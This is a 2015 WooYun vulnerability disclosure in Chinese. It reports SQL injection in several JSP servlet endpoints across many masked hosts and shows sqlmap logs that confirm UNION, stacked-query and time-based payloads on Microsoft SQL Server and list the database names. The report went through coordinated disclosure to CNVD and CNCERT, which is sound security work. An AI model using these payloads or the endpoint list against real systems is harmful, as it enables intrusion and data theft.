2015-07-15: 细节已通知厂商并且等待厂商处理中 2015-07-17: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开 2015-07-20: 细节向第三方安全合作伙伴开放 2015-09-10: 细节向核心白帽子及相关领域专家公开 2015-09-20: 细节向普通白帽子公开 2015-09-30: 细节向实习白帽子公开 2015-10-15: 细节向公众公开
~
更多案例见:http://**.**.**.**/bugs/wooyun-2015-090966
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080/servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080/servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080/servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080/servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080/servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080/servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
下面就拿一个做案例:
[root@Hacker~]# Sqlmap -u http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId= sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 15:14:31[15:14:31] [INFO] testing connection to the target url[15:14:34] [INFO] testing if the url is stable, wait a few seconds[15:14:35] [INFO] url is stable[15:14:35] [INFO] testing if GET parameter 'deptId' is dynamic[15:14:36] [WARNING] GET parameter 'deptId' appears to be not dynamic[15:14:36] [WARNING] reflective value(s) found and filtering out[15:14:36] [WARNING] heuristic test shows that GET parameter 'deptId' might notbe injectable[15:14:36] [INFO] testing for SQL injection on GET parameter 'deptId'[15:14:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[15:14:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'[15:14:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'[15:14:40] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'[15:14:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'[15:14:41] [INFO] testing 'MySQL > 5.0.11 stacked queries'[15:14:42] [INFO] testing 'PostgreSQL > 8.1 stacked queries'[15:14:43] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'[15:14:54] [INFO] GET parameter 'deptId' is 'Microsoft SQL Server/Sybase stacked queries' injectable[15:14:54] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'[15:14:54] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'[15:14:54] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'[15:15:04] [INFO] GET parameter 'deptId' is 'Microsoft SQL Server/Sybase time-based blind' injectable[15:15:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'[15:15:04] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found[15:15:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[15:15:13] [INFO] target url appears to be UNION injectable with 13 columns[15:15:13] [INFO] GET parameter 'deptId' is 'Generic UNION query (NULL) - 1 to 20 columns' injectableGET parameter 'deptId' is vulnerable. Do you want to keep testing the others (if any)? [y/N] ysqlmap identified the following injection points with a total of 102 HTTP(s) requests:---Place: GETParameter: deptId Type: UNION query Title: Generic UNION query (NULL) - 13 columns Payload: deptId=' UNION ALL SELECT NULL, NULL, CHAR(58)+CHAR(112)+CHAR(122)+CHAR(98)+CHAR(58)+CHAR(122)+CHAR(117)+CHAR(99)+CHAR(86)+CHAR(71)+CHAR(109)+CHAR(107)+CHAR(73)+CHAR(119)+CHAR(100)+CHAR(58)+CHAR(103)+CHAR(103)+CHAR(115)+CHAR(58), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: deptId='; WAITFOR DELAY '0:0:5';-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: deptId=' WAITFOR DELAY '0:0:5'-----[15:15:15] [INFO] testing MySQL[15:15:16] [WARNING] the back-end DBMS is not MySQL[15:15:16] [INFO] testing Oracle[15:15:17] [WARNING] the back-end DBMS is not Oracle[15:15:17] [INFO] testing PostgreSQL[15:15:17] [WARNING] the back-end DBMS is not PostgreSQL[15:15:17] [INFO] testing Microsoft SQL Server[15:15:18] [INFO] confirming Microsoft SQL Server[15:15:18] [INFO] the back-end DBMS is Microsoft SQL Serverweb application technology: JSP, JSP 2.1back-end DBMS: Microsoft SQL Server 2005[15:15:18] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Rar$EXa0.437\SQLMAP~1\Bin\output\**.**.**.**'[*] shutting down at 15:15:18[root@Hacker~]# Sqlmap -u http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId= --dbs sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 15:15:23[15:15:23] [INFO] resuming back-end DBMS 'microsoft sql server'[15:15:23] [INFO] testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: deptId Type: UNION query Title: Generic UNION query (NULL) - 13 columns Payload: deptId=' UNION ALL SELECT NULL, NULL, CHAR(58)+CHAR(112)+CHAR(122)+CHAR(98)+CHAR(58)+CHAR(122)+CHAR(117)+CHAR(99)+CHAR(86)+CHAR(71)+CHAR(109)+CHAR(107)+CHAR(73)+CHAR(119)+CHAR(100)+CHAR(58)+CHAR(103)+CHAR(103)+CHAR(115)+CHAR(58), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: deptId='; WAITFOR DELAY '0:0:5';-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: deptId=' WAITFOR DELAY '0:0:5'-----[15:15:23] [INFO] the back-end DBMS is Microsoft SQL Serverweb application technology: JSP, JSP 2.1back-end DBMS: Microsoft SQL Server 2005[15:15:23] [INFO] fetching database namesavailable databases [12]:[*] egh[*] EghFiles[*] master[*] model[*] msdb[*] tempdb[*] tyfocontent[*] tyfoinvestigate[*] tyfomsg[*] tyfopublish[*] tyfosearch[*] website[15:15:23] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Rar$EXa0.437\SQLMAP~1\Bin\output\**.**.**.**'
http://**.**.**.**:8080//servlet/keywordDelServlet?kid=2http://**.**.**.**:8080/servlet/keywordDelServlet?kid=2463http://**.**.**.**:8080/servlet/keywordDelServlet?kid=2http://**.**.**.**:8080/servlet/keywordDelServlet?kid=1246http://**.**.**.**:8080/servlet/keywordDelServlet?kid=1http://**.**.**.**:8080/servlet/keywordDelServlet?kid=1http://**.**.**.**:8080//servlet/keywordDelServlet?kid=2http://**.**.**.**:8080//servlet/keywordDelServlet?kid=30http://**.**.**.**:8080//servlet/keywordDelServlet?kid=1http://**.**.**.**:8080//servlet/keywordDelServlet?kid=1http://**.**.**.**:8080/servlet/keywordDelServlet?kid=1http://**.**.**.**:8080//servlet/keywordDelServlet?kid=959http://**.**.**.**:8080//servlet/keywordDelServlet?kid=565http://**.**.**.**:8080//servlet/keywordDelServlet?kid=200http://**.**.**.**:8080//servlet/keywordDelServlet?kid=11http://**.**.**.**:8080//servlet/keywordDelServlet?kid=2http://**.**.**.**:8080//servlet/keywordDelServlet?kid=217
[root@Hacker~]# Sqlmap -u http://**.**.**.**:8080//servlet/keywordDelServlet?kid=217 sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 15:23:40[15:23:40] [INFO] resuming back-end DBMS 'microsoft sql server'[15:23:40] [INFO] testing connection to the target urlsqlmap got a 302 redirect to 'http://**.**.**.**:8080/servlet/../servlet/kbkeywordlist'. Do you want to follow? [Y/n] ysqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: kid Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: kid=217; WAITFOR DELAY '0:0:5';-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: kid=217 WAITFOR DELAY '0:0:5'-----[15:23:42] [INFO] the back-end DBMS is Microsoft SQL Serverweb application technology: JSP, JSP 2.1back-end DBMS: Microsoft SQL Server 2008[15:23:42] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Rar$EXa0.437\SQLMAP~1\Bin\output\**.**.**.**'
[root@Hacker~]# Sqlmap -u http://**.**.**.**:8080//servlet/keywordDelServlet?kid=217 --dbs sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 15:20:19[15:20:19] [INFO] testing connection to the target urlsqlmap got a 302 redirect to 'http://**.**.**.**:8080/servlet/../servlet/kbkeywordlist'. Do you want to follow? [Y/n] y[15:20:21] [INFO] testing if the url is stable, wait a few seconds[15:20:22] [WARNING] GET parameter 'kid' appears to be not dynamic[15:20:22] [WARNING] heuristic test shows that GET parameter 'kid' might not beinjectable[15:20:22] [INFO] testing for SQL injection on GET parameter 'kid'[15:20:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[15:20:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'[15:20:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'[15:20:30] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'[15:20:32] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'[15:20:33] [INFO] testing 'MySQL > 5.0.11 stacked queries'[15:20:35] [INFO] testing 'PostgreSQL > 8.1 stacked queries'[15:20:36] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'[15:20:47] [INFO] GET parameter 'kid' is 'Microsoft SQL Server/Sybase stacked queries' injectable[15:20:47] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'[15:20:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'[15:20:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'[15:20:59] [INFO] GET parameter 'kid' is 'Microsoft SQL Server/Sybase time-based blind' injectable[15:20:59] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'[15:20:59] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found[15:21:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[15:21:13] [INFO] checking if the injection point on GET parameter 'kid' is a false positiveGET parameter 'kid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] ysqlmap identified the following injection points with a total of 100 HTTP(s) requests:---Place: GETParameter: kid Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: kid=217; WAITFOR DELAY '0:0:5';-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: kid=217 WAITFOR DELAY '0:0:5'-----[15:21:27] [INFO] testing MySQL[15:21:27] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries[15:21:27] [WARNING] the back-end DBMS is not MySQL[15:21:27] [INFO] testing Oracle[15:21:28] [WARNING] the back-end DBMS is not Oracle[15:21:28] [INFO] testing PostgreSQL[15:21:28] [WARNING] the back-end DBMS is not PostgreSQL[15:21:28] [INFO] testing Microsoft SQL Server[15:21:33] [INFO] confirming Microsoft SQL Server[15:21:44] [INFO] adjusting time delay to 1 second due to good response times[15:21:45] [INFO] the back-end DBMS is Microsoft SQL Serverweb application technology: JSP, JSP 2.1back-end DBMS: Microsoft SQL Server 2008[15:21:45] [INFO] fetching database names[15:21:45] [INFO] fetching number of databases[15:21:45] [INFO] retrieved: 13[15:21:53] [INFO] retrieved: Egh[15:22:16] [INFO] retrieved: EghFil
由于太卡没继续跑 已证明可以出数据。
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
[root@Hacker~]# Sqlmap -u http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3 sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 15:26:02[15:26:02] [INFO] testing connection to the target urlsqlmap got a 302 redirect to 'http://**.**.**.**:8080/servlet/../404.jsp'. Do you want to follow? [Y/n] y[15:26:04] [INFO] testing if the url is stable, wait a few seconds[15:26:05] [WARNING] GET parameter 'kid' appears to be not dynamic[15:26:05] [WARNING] reflective value(s) found and filtering out[15:26:05] [WARNING] heuristic test shows that GET parameter 'kid' might not beinjectable[15:26:05] [INFO] testing for SQL injection on GET parameter 'kid'[15:26:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[15:26:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'[15:26:09] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'[15:26:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'[15:26:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'[15:26:13] [INFO] testing 'MySQL > 5.0.11 stacked queries'[15:26:14] [INFO] testing 'PostgreSQL > 8.1 stacked queries'[15:26:15] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'[15:26:25] [INFO] GET parameter 'kid' is 'Microsoft SQL Server/Sybase stacked queries' injectable[15:26:25] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'[15:26:25] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'[15:26:26] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'[15:26:36] [INFO] GET parameter 'kid' is 'Microsoft SQL Server/Sybase time-based blind' injectable[15:26:36] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'[15:26:36] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found[15:26:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[15:26:45] [INFO] target url appears to be UNION injectable with 2 columns[15:26:45] [INFO] GET parameter 'kid' is 'Generic UNION query (NULL) - 1 to 20 columns' injectableGET parameter 'kid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] ysqlmap identified the following injection points with a total of 96 HTTP(s) requests:---Place: GETParameter: kid Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: kid=3 UNION ALL SELECT NULL, CHAR(58)+CHAR(97)+CHAR(106)+CHAR(118)+CHAR(58)+CHAR(117)+CHAR(110)+CHAR(111)+CHAR(66)+CHAR(73)+CHAR(101)+CHAR(78)+CHAR(88)+CHAR(120)+CHAR(97)+CHAR(58)+CHAR(100)+CHAR(108)+CHAR(111)+CHAR(58)-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: kid=3; WAITFOR DELAY '0:0:5';-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: kid=3 WAITFOR DELAY '0:0:5'-----[15:26:47] [INFO] testing MySQL[15:26:47] [WARNING] the back-end DBMS is not MySQL[15:26:47] [INFO] testing Oracle[15:26:48] [WARNING] the back-end DBMS is not Oracle[15:26:48] [INFO] testing PostgreSQL[15:26:48] [WARNING] the back-end DBMS is not PostgreSQL[15:26:48] [INFO] testing Microsoft SQL Server[15:26:48] [INFO] confirming Microsoft SQL Server[15:26:49] [INFO] the back-end DBMS is Microsoft SQL Serverweb application technology: JSP, JSP 2.1back-end DBMS: Microsoft SQL Server 2005[15:26:49] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Rar$EXa0.437\SQLMAP~1\Bin\output\**.**.**.**'[*] shutting down at 15:26:49[root@Hacker~]# Sqlmap -u http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3 --dbs sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 15:26:53[15:26:53] [INFO] resuming back-end DBMS 'microsoft sql server'[15:26:53] [INFO] testing connection to the target urlsqlmap got a 302 redirect to 'http://**.**.**.**:8080/servlet/../404.jsp'. Do you want to follow? [Y/n] ysqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: kid Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: kid=3 UNION ALL SELECT NULL, CHAR(58)+CHAR(97)+CHAR(106)+CHAR(118)+CHAR(58)+CHAR(117)+CHAR(110)+CHAR(111)+CHAR(66)+CHAR(73)+CHAR(101)+CHAR(78)+CHAR(88)+CHAR(120)+CHAR(97)+CHAR(58)+CHAR(100)+CHAR(108)+CHAR(111)+CHAR(58)-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: kid=3; WAITFOR DELAY '0:0:5';-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: kid=3 WAITFOR DELAY '0:0:5'-----[15:26:54] [INFO] the back-end DBMS is Microsoft SQL Serverweb application technology: JSP, JSP 2.1back-end DBMS: Microsoft SQL Server 2005[15:26:54] [INFO] fetching database names[15:26:54] [WARNING] reflective value(s) found and filtering out[15:26:54] [INFO] the SQL query used returns 12 entries[15:26:54] [INFO] retrieved: "egh"[15:26:55] [INFO] retrieved: "EghFiles"[15:26:55] [INFO] retrieved: "master"[15:26:55] [INFO] retrieved: "model"[15:26:55] [INFO] retrieved: "msdb"[15:26:55] [INFO] retrieved: "tempdb"[15:26:56] [INFO] retrieved: "tyfocontent"[15:26:56] [INFO] retrieved: "tyfoinvestigate"[15:26:56] [INFO] retrieved: "tyfomsg"[15:26:56] [INFO] retrieved: "tyfopublish"[15:26:56] [INFO] retrieved: "tyfosearch"[15:26:57] [INFO] retrieved: "website"available databases [12]:[*] egh[*] EghFiles[*] master[*] model[*] msdb[*] tempdb[*] tyfocontent[*] tyfoinvestigate[*] tyfomsg[*] tyfopublish[*] tyfosearch[*] website[15:26:57] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Rar$EXa0.437\SQLMAP~1\Bin\output\**.**.**.**'
危害等级:高
漏洞Rank:11
确认时间:2015-07-17 16:13
CNVD确认并复现所述情况,已经转由CNCERT下发给相应分中心,由其后续协调网站管理单位处置。
暂无